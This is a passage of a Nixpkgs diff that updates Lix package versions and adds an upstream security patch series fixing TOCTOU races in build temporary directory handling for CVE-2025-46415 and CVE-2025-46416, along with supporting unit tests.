diff --git a/pkgs/tools/package-management/lix/common-lix.nix b/pkgs/tools/package-management/lix/common-lix.nix index df64103e8a45..077c4617698c 100644 --- a/pkgs/tools/package-management/lix/common-lix.nix +++ b/pkgs/tools/package-management/lix/common-lix.nix @@ -9,6 +9,7 @@ # `lix-doc`. docCargoDeps ? null, patches ? [ ], + knownVulnerabilities ? [ ], }@args: assert lib.assertMsg ( @@ -139,6 +140,7 @@ stdenv.mkDerivation (finalAttrs: { p.pytest p.pytest-xdist p.python-frontmatter + p.toml ])) pkg-config flex @@ -388,5 +390,6 @@ stdenv.mkDerivation (finalAttrs: { platforms = lib.platforms.unix; outputsToInstall = [ "out" ] ++ lib.optional enableDocumentation "man"; mainProgram = "nix"; + inherit knownVulnerabilities; }; }) diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix index 494c35050823..d297c52b21f9 100644 --- a/pkgs/tools/package-management/lix/default.nix +++ b/pkgs/tools/package-management/lix/default.nix @@ -133,6 +133,10 @@ lib.makeExtensible (self: { sourceRoot = "${src.name or src}/lix-doc"; hash = "sha256-VPcrf78gfLlkTRrcbLkPgLOk0o6lsOJBm6HYLvavpNU="; }; + + knownVulnerabilities = [ + "Lix 2.90 is vulnerable to CVE-2025-46415 and CVE-2025-46416 and will not receive updates." + ]; }; nix-eval-jobs-args = { @@ -150,13 +154,13 @@ lib.makeExtensible (self: { attrName = "lix_2_91"; lix-args = rec { - version = "2.91.1"; + version = "2.91.2"; src = fetchFromGitHub { owner = "lix-project"; repo = "lix"; rev = version; - hash = "sha256-hiGtfzxFkDc9TSYsb96Whg0vnqBVV7CUxyscZNhed0U="; + hash = "sha256-TkRjskDnxMPugdLQE/LqIh59RYQFJLYpIuL8YZva2lM="; }; docCargoDeps = rustPlatform.fetchCargoVendor { @@ -182,13 +186,13 @@ lib.makeExtensible (self: { attrName = "lix_2_92"; lix-args = rec { - version = "2.92.0"; + version = "2.92.2"; src = fetchFromGitHub { owner = "lix-project"; repo = "lix"; rev = version; - hash = "sha256-CCKIAE84dzkrnlxJCKFyffAxP3yfsOAbdvydUGqq24g="; + hash = "sha256-D7YepvFkGE4K1rOkEYA1P6wGj/eFbQXb03nLdBRjjwA="; }; cargoDeps = rustPlatform.fetchCargoVendor { @@ -212,14 +216,14 @@ lib.makeExtensible (self: { attrName = "lix_2_93"; lix-args = rec { - version = "2.93.0"; + version = "2.93.1"; src = fetchFromGitea { domain = "git.lix.systems"; owner = "lix-project"; repo = "lix"; rev = version; - hash = "sha256-hsFe4Tsqqg4l+FfQWphDtjC79WzNCZbEFhHI8j2KJzw="; + hash = "sha256-LmQhjQ7c+AOkwhvR9GFgJOy8oHW35MoQRELtrwyVnPw="; }; cargoDeps = rustPlatform.fetchCargoVendor { @@ -240,8 +244,8 @@ lib.makeExtensible (self: { domain = "git.lix.systems"; owner = "lix-project"; repo = "lix"; - rev = "dcb0a97000d50b2868ed4f8d9fd465c5a5b8eb3a"; - hash = "sha256-qCRBy8Bbh5XhPalPkhonxNgfsbw3lP0UIXBLSrhxAvI="; + rev = "242a228124f77b57c2e3b3aedb259ffb7913cd3c"; + hash = "sha256-hCbhc9P+UmIlYv81+vs6v3bDqviCUhwPH3XqClZdfSk="; }; cargoDeps = rustPlatform.fetchCargoVendor { @@ -249,6 +253,10 @@ lib.makeExtensible (self: { inherit src; hash = "sha256-YMyNOXdlx0I30SkcmdW/6DU0BYc3ZOa2FMJSKMkr7I8="; }; + + patches = [ + ./patches/LIX_HEAD_CVE-2025-46415_46416.patch + ]; }; }; diff --git a/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch b/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch new file mode 100644 index 000000000000..130aa2e5eaf3 --- /dev/null +++ b/pkgs/tools/package-management/lix/patches/LIX_HEAD_CVE-2025-46415_46416.patch @@ -0,0 +1,2363 @@ +From c7976e63a3d93386b2811dba2b92ba452c561696 Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 01:04:12 +0100 +Subject: [SECURITY FIX 01/12] libutil: guess or invent a path from file + descriptors + +This is useful for certain error recovery paths (no pun intended) that +does not thread through the original path name. + +Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e +Signed-off-by: Raito Bezarius +--- + lix/libutil/file-descriptor.cc | 23 ++++++++++ + lix/libutil/file-descriptor.hh | 18 ++++++++ + meson.build | 5 +++ + tests/unit/libutil/tests.cc | 81 ++++++++++++++++++++++++++++++++++ + 4 files changed, 127 insertions(+) + +diff --git a/lix/libutil/file-descriptor.cc b/lix/libutil/file-descriptor.cc +index 39a4e0bdd..83496b6a6 100644 +--- a/lix/libutil/file-descriptor.cc ++++ b/lix/libutil/file-descriptor.cc +@@ -155,6 +155,29 @@ int AutoCloseFD::get() const + return fd; + } + ++std::string guessOrInventPathFromFD(int fd) ++{ ++ assert(fd >= 0); ++ /* On Linux, there's no F_GETPATH available. ++ * But we can read /proc/ */ ++#if __linux__ ++ try { ++ return readLink(fmt("/proc/self/fd/%1%", fd).c_str()); ++ } catch (...) { ++ } ++#elif defined (HAVE_F_GETPATH) && HAVE_F_GETPATH ++ std::string fdName(PATH_MAX, '\0'); ++ if (fcntl(fd, F_GETPATH, fdName.data()) != -1) { ++ fdName.resize(strlen(fdName.c_str())); ++ return fdName; ++ } ++#else ++#error "No implementation for retrieving file descriptors path." ++#endif ++ ++ return fmt("", fd); ++} ++ + + void AutoCloseFD::close() + { +diff --git a/lix/libutil/file-descriptor.hh b/lix/libutil/file-descriptor.hh +index 5331751cb..6c1c698fc 100644 +--- a/lix/libutil/file-descriptor.hh ++++ b/lix/libutil/file-descriptor.hh +@@ -36,6 +36,15 @@ void writeFull(int fd, std::string_view s, bool allowInterrupts = true); + */ + std::string drainFD(int fd, bool block = true, const size_t reserveSize=0); + ++ ++/* ++ * Will attempt to guess *A* path associated that might lead to the same file as used by this ++ * file descriptor. ++ * ++ * The returned string should NEVER be used as a valid path. ++ */ ++std::string guessOrInventPathFromFD(int fd); ++ + Generator drainFDSource(int fd, bool block = true); + + class AutoCloseFD +@@ -50,6 +59,15 @@ public: + AutoCloseFD& operator =(const AutoCloseFD & fd) = delete; + AutoCloseFD& operator =(AutoCloseFD&& fd) noexcept(false); + int get() const; ++ ++ /* ++ * Will attempt to guess *A* path associated that might lead to the same file as used by this ++ * file descriptor. ++ * ++ * The returned string should NEVER be used as a valid path. ++ */ ++ std::string guessOrInventPath() const { return guessOrInventPathFromFD(fd); } ++ + explicit operator bool() const; + int release(); + void close(); +diff --git a/meson.build b/meson.build +index f0443bbd1..92b4c05ec 100644 +--- a/meson.build ++++ b/meson.build +@@ -266,6 +266,11 @@ configdata += { + 'HAVE_SECCOMP': seccomp.found().to_int(), + } + ++# fcntl(F_GETPATH) returns the path of an fd on macOS and BSDs ++configdata += { ++ 'HAVE_F_GETPATH': cxx.has_header_symbol('fcntl.h', 'F_GETPATH').to_int(), ++} ++ + libarchive = dependency('libarchive', required : true, include_type : 'system') + + brotli = [ +diff --git a/tests/unit/libutil/tests.cc b/tests/unit/libutil/tests.cc +index 3b865cb82..263fd7834 100644 +--- a/tests/unit/libutil/tests.cc ++++ b/tests/unit/libutil/tests.cc +@@ -3,6 +3,8 @@ + #include "lix/libutil/strings.hh" + #include "lix/libutil/types.hh" + #include "lix/libutil/terminal.hh" ++#include "lix/libutil/unix-domain-socket.hh" ++#include "tests/test-data.hh" + + #include + +@@ -207,6 +209,85 @@ namespace nix { + ASSERT_FALSE(pathExists("/schnitzel/darmstadt/pommes")); + } + ++ /* ---------------------------------------------------------------------------- ++ * AutoCloseFD::guessOrInventPath ++ * --------------------------------------------------------------------------*/ ++ void testGuessOrInventPathPrePostDeletion(AutoCloseFD & fd, Path & path) { ++ { ++ SCOPED_TRACE(fmt("guessing path before deletion of '%1%'", path)); ++ ASSERT_TRUE(fd); ++ /* We cannot predict what the platform will return here. ++ * But it cannot fail. */ ++ ASSERT_TRUE(fd.guessOrInventPath().size() >= 0); ++ } ++ { ++ SCOPED_TRACE(fmt("guessing path after deletion of '%1%'", path)); ++ deletePath(path); ++ /* We cannot predict what the platform will return here. ++ * But it cannot fail. */ ++ ASSERT_TRUE(fd.guessOrInventPath().size() >= 0); ++ } ++ } ++ TEST(guessOrInventPath, files) { ++ Path filePath = getUnitTestDataPath("guess-or-invent/test.txt"); ++ createDirs(dirOf(filePath)); ++ writeFile(filePath, "some text"); ++ AutoCloseFD file{open(filePath.c_str(), O_RDONLY, 0666)}; ++ testGuessOrInventPathPrePostDeletion(file, filePath); ++ } ++ ++ TEST(guessOrInventPath, directories) { ++ Path dirPath = getUnitTestDataPath("guess-or-invent/test-dir"); ++ createDirs(dirPath); ++ AutoCloseFD directory{open(dirPath.c_str(), O_DIRECTORY, 0666)}; ++ testGuessOrInventPathPrePostDeletion(directory, dirPath); ++ } ++ ++#ifdef O_PATH ++ TEST(guessOrInventPath, symlinks) { ++ Path symlinkPath = getUnitTestDataPath("guess-or-invent/test-symlink"); ++ Path targetPath = getUnitTestDataPath("guess-or-invent/nowhere"); ++ createDirs(dirOf(symlinkPath)); ++ createSymlink(targetPath, symlinkPath); ++ AutoCloseFD symlink{open(symlinkPath.c_str(), O_PATH | O_NOFOLLOW, 0666)}; ++ testGuessOrInventPathPrePostDeletion(symlink, symlinkPath); ++ } ++ ++ TEST(guessOrInventPath, fifos) { ++ Path fifoPath = getUnitTestDataPath("guess-or-invent/fifo"); ++ createDirs(dirOf(fifoPath)); ++ ASSERT_TRUE(mkfifo(fifoPath.c_str(), 0666) == 0); ++ AutoCloseFD fifo{open(fifoPath.c_str(), O_PATH | O_NOFOLLOW, 0666)}; ++ testGuessOrInventPathPrePostDeletion(fifo, fifoPath); ++ } ++#endif ++ ++ TEST(guessOrInventPath, pipes) { ++ int pipefd[2]; ++ ++ ASSERT_TRUE(pipe(pipefd) == 0); ++ ++ AutoCloseFD pipe_read{pipefd[0]}; ++ ASSERT_TRUE(pipe_read); ++ AutoCloseFD pipe_write{pipefd[1]}; ++ ASSERT_TRUE(pipe_write); ++ ++ /* We cannot predict what the platform will return here. ++ * But it cannot fail. */ ++ ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0); ++ ASSERT_TRUE(pipe_write.guessOrInventPath().size() >= 0); ++ pipe_write.close(); ++ ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0); ++ pipe_read.close(); ++ } ++ ++ TEST(guessOrInventPath, sockets) { ++ Path socketPath = getUnitTestDataPath("guess-or-invent/socket"); ++ createDirs(dirOf(socketPath)); ++ AutoCloseFD socket = createUnixDomainSocket(socketPath, 0666); ++ testGuessOrInventPathPrePostDeletion(socket, socketPath); ++ } ++ + /* ---------------------------------------------------------------------------- + * concatStringsSep + * --------------------------------------------------------------------------*/ +-- +2.49.0 + + +From bcf1f27fec3b18c33e7b76384cebd95b105f9357 Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 01:04:59 +0100 +Subject: [SECURITY FIX 02/12] libstore: open build directory as a dirfd as + well + +We now keep around a proper AutoCloseFD around the temporary directory +which we plan to use for openat operations and avoiding the build +directory being swapped out while we are doing something else. + +Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a +Signed-off-by: Raito Bezarius +--- + lix/libstore/build/local-derivation-goal.cc | 5 +++++ + lix/libstore/build/local-derivation-goal.hh | 5 +++++ + 2 files changed, 10 insertions(+) + +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index 5de4fdec5..fc6e925f3 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -441,6 +441,11 @@ try { + false, + 0700 + ); ++ /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to ++ * POSIX semantics.*/ ++ tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)}; ++ if (!tmpDirFd) ++ throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); + + chownToBuilder(tmpDir); + +diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh +index ec874ecea..5b9051ede 100644 +--- a/lix/libstore/build/local-derivation-goal.hh ++++ b/lix/libstore/build/local-derivation-goal.hh +@@ -42,6 +42,11 @@ struct LocalDerivationGoal : public DerivationGoal + */ + Path tmpDir; + ++ /** ++ * The temporary directory file descriptor ++ */ ++ AutoCloseFD tmpDirFd; ++ + /** + * The path of the temporary directory in the sandbox. + */ +-- +2.49.0 + + +From 10509774edf5f6cae9a17ff9b656e4fb42c996f8 Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 01:05:34 +0100 +Subject: [SECURITY FIX 03/12] libstore: chown to builder variant for file + descriptors + +We use it immediately for the build temporary directory. + +Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947 +Signed-off-by: Raito Bezarius +--- + lix/libstore/build/local-derivation-goal.cc | 9 ++++++++- + lix/libstore/build/local-derivation-goal.hh | 10 +++++++++- + 2 files changed, 17 insertions(+), 2 deletions(-) + +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index fc6e925f3..6d93c6841 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -447,7 +447,7 @@ try { + if (!tmpDirFd) + throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); + +- chownToBuilder(tmpDir); ++ chownToBuilder(tmpDirFd); + + for (auto & [outputName, status] : initialOutputs) { + /* Set scratch path we'll actually use during the build. +@@ -931,6 +931,13 @@ void LocalDerivationGoal::chownToBuilder(const Path & path) + throw SysError("cannot change ownership of '%1%'", path); + } + ++void LocalDerivationGoal::chownToBuilder(const AutoCloseFD & fd) ++{ ++ if (!buildUser) return; ++ if (fchown(fd.get(), buildUser->getUID(), buildUser->getGID()) == -1) ++ throw SysError("cannot change ownership of file '%1%'", fd.guessOrInventPath()); ++} ++ + + void LocalDerivationGoal::runChild() + { +diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh +index 5b9051ede..eb2fe50f3 100644 +--- a/lix/libstore/build/local-derivation-goal.hh ++++ b/lix/libstore/build/local-derivation-goal.hh +@@ -202,10 +202,18 @@ struct LocalDerivationGoal : public DerivationGoal + kj::Promise> writeStructuredAttrs(); + + /** +- * Make a file owned by the builder. ++ * Make a file owned by the builder addressed by its path. ++ * ++ * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor. ++ * It's only safe to call in a child of a directory only visible to the owner. + */ + void chownToBuilder(const Path & path); + ++ /** ++ * Make a file owned by the builder addressed by its file descriptor. ++ */ ++ void chownToBuilder(const AutoCloseFD & fd); ++ + int getChildStatus() override; + + /** +-- +2.49.0 + + +From ee8382a01253059b8680d041b860b361cbde6192 Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 01:06:03 +0100 +Subject: [SECURITY FIX 04/12] libutil: writeFile variant for file descriptors + +`writeFile` lose its `sync` boolean flag to make things simpler. + +A new `writeFileAndSync` function is created and all call sites are +converted to it. + +Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192 +Signed-off-by: Raito Bezarius +--- + lix/libstore/local-store.cc | 4 +-- + lix/libutil/file-system.cc | 50 ++++++++++++++++++++++++++----------- + lix/libutil/file-system.hh | 22 ++++++++-------- + 3 files changed, 49 insertions(+), 27 deletions(-) + +diff --git a/lix/libstore/local-store.cc b/lix/libstore/local-store.cc +index 3d75be2f4..1d4ba8665 100644 +--- a/lix/libstore/local-store.cc ++++ b/lix/libstore/local-store.cc +@@ -224,7 +224,7 @@ void LocalStore::initDB(DBState & state) + else if (curSchema == 0) { /* new store */ + curSchema = nixSchemaVersion; + openDB(state, true); +- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); ++ writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666); + } + + else if (curSchema < nixSchemaVersion) { +@@ -277,7 +277,7 @@ void LocalStore::initDB(DBState & state) + txn.commit(); + } + +- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); ++ writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666); + + lockFile(globalLock.get(), ltRead, always_progresses); + } +diff --git a/lix/libutil/file-system.cc b/lix/libutil/file-system.cc +index 47fc2f7ba..0fe70d938 100644 +--- a/lix/libutil/file-system.cc ++++ b/lix/libutil/file-system.cc +@@ -358,28 +358,49 @@ Generator readFileSource(const Path & path) + }(std::move(fd)); + } + +-void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync, bool allowInterrupts) ++void writeFile(const Path & path, std::string_view s, mode_t mode, bool allowInterrupts) + { + AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)}; + if (!fd) + throw SysError("opening file '%1%'", path); ++ ++ writeFile(fd, s, mode, allowInterrupts); ++ ++ /* Close explicitly to propagate the exceptions. */ ++ fd.close(); ++} ++ ++void writeFile(AutoCloseFD & fd, std::string_view s, mode_t mode, bool allowInterrupts) ++{ ++ assert(fd); + try { + writeFull(fd.get(), s, allowInterrupts); + } catch (Error & e) { +- e.addTrace({}, "writing file '%1%'", path); ++ e.addTrace({}, "writing file '%1%'", fd.guessOrInventPath()); + throw; + } +- if (sync) +- fd.fsync(); +- // Explicitly close to make sure exceptions are propagated. +- fd.close(); +- if (sync) +- syncParent(path); + } + +-void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode, bool sync) ++void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode) ++{ ++ writeFile(path, s, mode, false); ++} ++ ++void writeFileAndSync(const Path & path, std::string_view s, mode_t mode) + { +- writeFile(path, s, mode, sync, false); ++ { ++ AutoCloseFD fd{open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC, mode)}; ++ if (!fd) { ++ throw SysError("opening file '%1%'", path); ++ } ++ ++ writeFile(fd, s, mode); ++ fd.fsync(); ++ /* Close explicitly to ensure that exceptions are propagated. */ ++ fd.close(); ++ } ++ ++ syncParent(path); + } + + static AutoCloseFD openForWrite(const Path & path, mode_t mode) +@@ -400,7 +421,7 @@ static void closeForWrite(const Path & path, AutoCloseFD & fd, bool sync) + syncParent(path); + } + +-void writeFile(const Path & path, Source & source, mode_t mode, bool sync) ++void writeFile(const Path & path, Source & source, mode_t mode) + { + AutoCloseFD fd = openForWrite(path, mode); + +@@ -417,11 +438,10 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync) + e.addTrace({}, "writing file '%1%'", path); + throw; + } +- closeForWrite(path, fd, sync); ++ closeForWrite(path, fd, false); + } + +-kj::Promise> +-writeFile(const Path & path, AsyncInputStream & source, mode_t mode, bool sync) ++kj::Promise> writeFile(const Path & path, AsyncInputStream & source, mode_t mode) + try { + AutoCloseFD fd = openForWrite(path, mode); + +@@ -439,7 +459,7 @@ try { + e.addTrace({}, "writing file '%1%'", path); + throw; + } +- closeForWrite(path, fd, sync); ++ closeForWrite(path, fd, false); + co_return result::success(); + } catch (...) { + co_return result::current_exception(); +diff --git a/lix/libutil/file-system.hh b/lix/libutil/file-system.hh +index 7d76b4fd0..a6267825d 100644 +--- a/lix/libutil/file-system.hh ++++ b/lix/libutil/file-system.hh +@@ -190,19 +190,21 @@ Generator readFileSource(const Path & path); + * Write a string to a file. + */ + void writeFile( +- const Path & path, +- std::string_view s, +- mode_t mode = 0666, +- bool sync = false, +- bool allowInterrupts = true +-); +-void writeFileUninterruptible( +- const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false ++ const Path & path, std::string_view s, mode_t mode = 0666, bool allowInterrupts = true + ); ++void writeFileUninterruptible(const Path & path, std::string_view s, mode_t mode = 0666); ++void writeFile(const Path & path, Source & source, mode_t mode = 0666); + +-void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); ++void writeFile( ++ AutoCloseFD & fd, std::string_view s, mode_t mode = 0666, bool allowInterrupts = false ++); + kj::Promise> +-writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666, bool sync = false); ++writeFile(const Path & path, AsyncInputStream & source, mode_t mode = 0666); ++ ++/** ++ * Write a string to a file and flush the file and its parents direcotry to disk. ++ */ ++void writeFileAndSync(const Path & path, std::string_view s, mode_t mode = 0666); + + /** + * Flush a file's parent directory to disk +-- +2.49.0 + + +From 8b93c4c17a7eabf7bdfd71da2bbe41454be96adb Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 01:07:47 +0100 +Subject: [SECURITY FIX 05/12] libstore: ensure that `passAsFile` is created in + the original temp dir + +This ensures that `passAsFile` data is created inside the expected +temporary build directory by `openat()` from the parent directory file +descriptor. + +This avoids a TOCTOU which is part of the attack chain of CVE-????. + +Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a +Signed-off-by: Raito Bezarius +--- + lix/libstore/build/local-derivation-goal.cc | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index 6d93c6841..c33bd8283 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -814,8 +814,13 @@ void LocalDerivationGoal::initTmpDir() { + auto hash = hashString(HashType::SHA256, i.first); + std::string fn = ".attr-" + hash.to_string(Base::Base32, false); + Path p = tmpDir + "/" + fn; +- writeFile(p, rewriteStrings(i.second, inputRewrites)); +- chownToBuilder(p); ++ /* TODO(jade): we should have BorrowedFD instead of OwnedFD. */ ++ AutoCloseFD passAsFileFd{openat(tmpDirFd.get(), fn.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)}; ++ if (!passAsFileFd) { ++ throw SysError("opening `passAsFile` file in the sandbox '%1%'", p); ++ } ++ writeFile(passAsFileFd, rewriteStrings(i.second, inputRewrites)); ++ chownToBuilder(passAsFileFd); + env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; + } + } +-- +2.49.0 + + +From d092cfa499fad3c661c7f07d2b5e0150b936db8e Mon Sep 17 00:00:00 2001 +From: Raito Bezarius +Date: Wed, 26 Mar 2025 12:42:55 +0100 +Subject: [SECURITY FIX 06/12] libutil: ensure that `_deletePath` does NOT use + absolute paths with dirfds + +When calling `_deletePath` with a parent file descriptor, `openat` is +made effective by using relative paths to the directory file descriptor. + +To avoid the problem, the signature is changed to resist misuse with an +assert in the prologue of the function. + +Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96 +Signed-off-by: Raito Bezarius +--- + lix/libutil/file-system.cc | 36 ++++++++++++++++++++++++------------ + 1 file changed, 24 insertions(+), 12 deletions(-) + +diff --git a/lix/libutil/file-system.cc b/lix/libutil/file-system.cc +index 0fe70d938..1b71caeb1 100644 +--- a/lix/libutil/file-system.cc ++++ b/lix/libutil/file-system.cc +@@ -473,18 +473,29 @@ void syncParent(const Path & path) + fd.fsync(); + } + +-static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed, bool interruptible) ++/* TODO(horrors): a better structure that links all parent fds for the traversal root ++ * should be considered for this code ++ */ ++static void _deletePath(int parentfd, const std::string & name, uint64_t & bytesFreed, bool interruptible) + { ++ /* This ensures that `name` is an immediate child of `parentfd`. */ ++ assert(!name.empty() && name.find('/') == std::string::npos && "`name` is an immediate child to `parentfd`"); ++ + if (interruptible) { + checkInterrupt(); + } + +- std::string name(baseNameOf(path)); ++ /* FIXME(horrors): there's a minor TOCTOU here. ++ * we fstatat the inode nofollow, check if this is a directory ++ * and then open it. ++ * a better alternative is open it as O_PATH as a namefd. ++ * if it's a directory, it can be openat with the namefd. ++ */ + + struct stat st; + if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) { + if (errno == ENOENT) return; +- throw SysError("getting status of '%1%'", path); ++ throw SysError("getting status of '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); + } + + if (!S_ISDIR(st.st_mode)) { +@@ -515,24 +526,25 @@ static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed, + /* Make the directory accessible. */ + const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR; + if ((st.st_mode & PERM_MASK) != PERM_MASK) { +- if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) +- throw SysError("chmod '%1%'", path); ++ if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) { ++ throw SysError("chmod '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); ++ } + } + +- int fd = openat(parentfd, path.c_str(), O_RDONLY); ++ int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW); + if (fd == -1) +- throw SysError("opening directory '%1%'", path); ++ throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); + AutoCloseDir dir(fdopendir(fd)); + if (!dir) +- throw SysError("opening directory '%1%'", path); +- for (auto & i : readDirectory(dir.get(), path, interruptible)) +- _deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed, interruptible); ++ throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); ++ for (auto & i : readDirectory(dir.get(), name, interruptible)) ++ _deletePath(dirfd(dir.get()), i.name, bytesFreed, interruptible); + } + + int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0; + if (unlinkat(parentfd, name.c_str(), flags) == -1) { + if (errno == ENOENT) return; +- throw SysError("cannot unlink '%1%'", path); ++ throw SysError("cannot unlink '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd)); + } + } + +@@ -548,7 +560,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed, bool interrupt + throw SysError("opening directory '%1%'", path); + } + +- _deletePath(dirfd.get(), path, bytesFreed, interruptible); ++ _deletePath(dirfd.get(), std::string(baseNameOf(path)), bytesFreed, interruptible); + } + + +-- +2.49.0 + + +From 500a7406a0f6fe2d9132da70d10688cfc7fa598d Mon Sep 17 00:00:00 2001 +From: eldritch horrors +Date: Mon, 17 Mar 2025 15:45:27 +0100 +Subject: [SECURITY FIX 07/12] libutil: make RunningProgram more useful + +make it moveable, make it killable, and add a stdout fd accessor. + +Change-Id: I2387cbe8ac67b899a322cd6c7d306ef9ea7abcd0 +--- + lix/libcmd/repl.cc | 4 ++-- + lix/libfetchers/git.cc | 2 +- + lix/libstore/build/derivation-goal.cc | 2 +- + lix/libutil/processes.cc | 19 +++++++++++++++++-- + lix/libutil/processes.hh | 16 +++++++++++++++- + 5 files changed, 36 insertions(+), 7 deletions(-) + +diff --git a/lix/libcmd/repl.cc b/lix/libcmd/repl.cc +index 50ce1cd3a..5afebea93 100644 +--- a/lix/libcmd/repl.cc ++++ b/lix/libcmd/repl.cc +@@ -254,7 +254,7 @@ void runNix(Path program, const Strings & args) + .program = settings.nixBinDir+ "/" + program, + .args = args, + .environment = subprocessEnv, +- }).wait(); ++ }).waitAndCheck(); + + return; + } +@@ -672,7 +672,7 @@ ProcessLineResult NixRepl::processLine(std::string line) + + // runProgram redirects stdout to a StringSink, + // using runProgram2 to allow editors to display their UI +- runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).wait(); ++ runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).waitAndCheck(); + + // Reload right after exiting the editor if path is not in store + // Store is immutable, so there could be no changes, so there's no need to reload +diff --git a/lix/libfetchers/git.cc b/lix/libfetchers/git.cc +index b44ea997a..3231ec011 100644 +--- a/lix/libfetchers/git.cc ++++ b/lix/libfetchers/git.cc +@@ -777,7 +777,7 @@ struct GitInputScheme : InputScheme + .args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() }, + .captureStdout = true, + }); +- Finally const _wait([&] { proc.wait(); }); ++ Finally const _wait([&] { proc.waitAndCheck(); }); + + unpackTarfile(*proc.getStdout(), tmpDir); + } +diff --git a/lix/libstore/build/derivation-goal.cc b/lix/libstore/build/derivation-goal.cc +index 6767bc37e..69e654490 100644 +--- a/lix/libstore/build/derivation-goal.cc ++++ b/lix/libstore/build/derivation-goal.cc +@@ -895,7 +895,7 @@ void runPostBuildHook( + }); + Finally const _wait([&] { + try { +- proc.wait(); ++ proc.waitAndCheck(); + } catch (nix::Error & e) { + e.addTrace(nullptr, + "while running the post-build-hook %s for derivation %s", +diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc +index e2cc2515b..6b24d943f 100644 +--- a/lix/libutil/processes.cc ++++ b/lix/libutil/processes.cc +@@ -249,7 +249,7 @@ std::pair runProgram(RunOptions && options) + + try { + auto proc = runProgram2(options); +- Finally const _wait([&] { proc.wait(); }); ++ Finally const _wait([&] { proc.waitAndCheck(); }); + stdout = proc.getStdout()->drain(); + } catch (ExecError & e) { + status = e.status; +@@ -277,7 +277,22 @@ RunningProgram::~RunningProgram() + } + } + +-void RunningProgram::wait() ++std::tuple, int> RunningProgram::release() ++{ ++ return {pid.release(), std::move(stdoutSource), stdout_.release()}; ++} ++ ++int RunningProgram::kill() ++{ ++ return pid.kill(); ++} ++ ++int RunningProgram::wait() ++{ ++ return pid.wait(); ++} ++ ++void RunningProgram::waitAndCheck() + { + if (std::uncaught_exceptions() == 0) { + int status = pid.wait(); +diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh +index 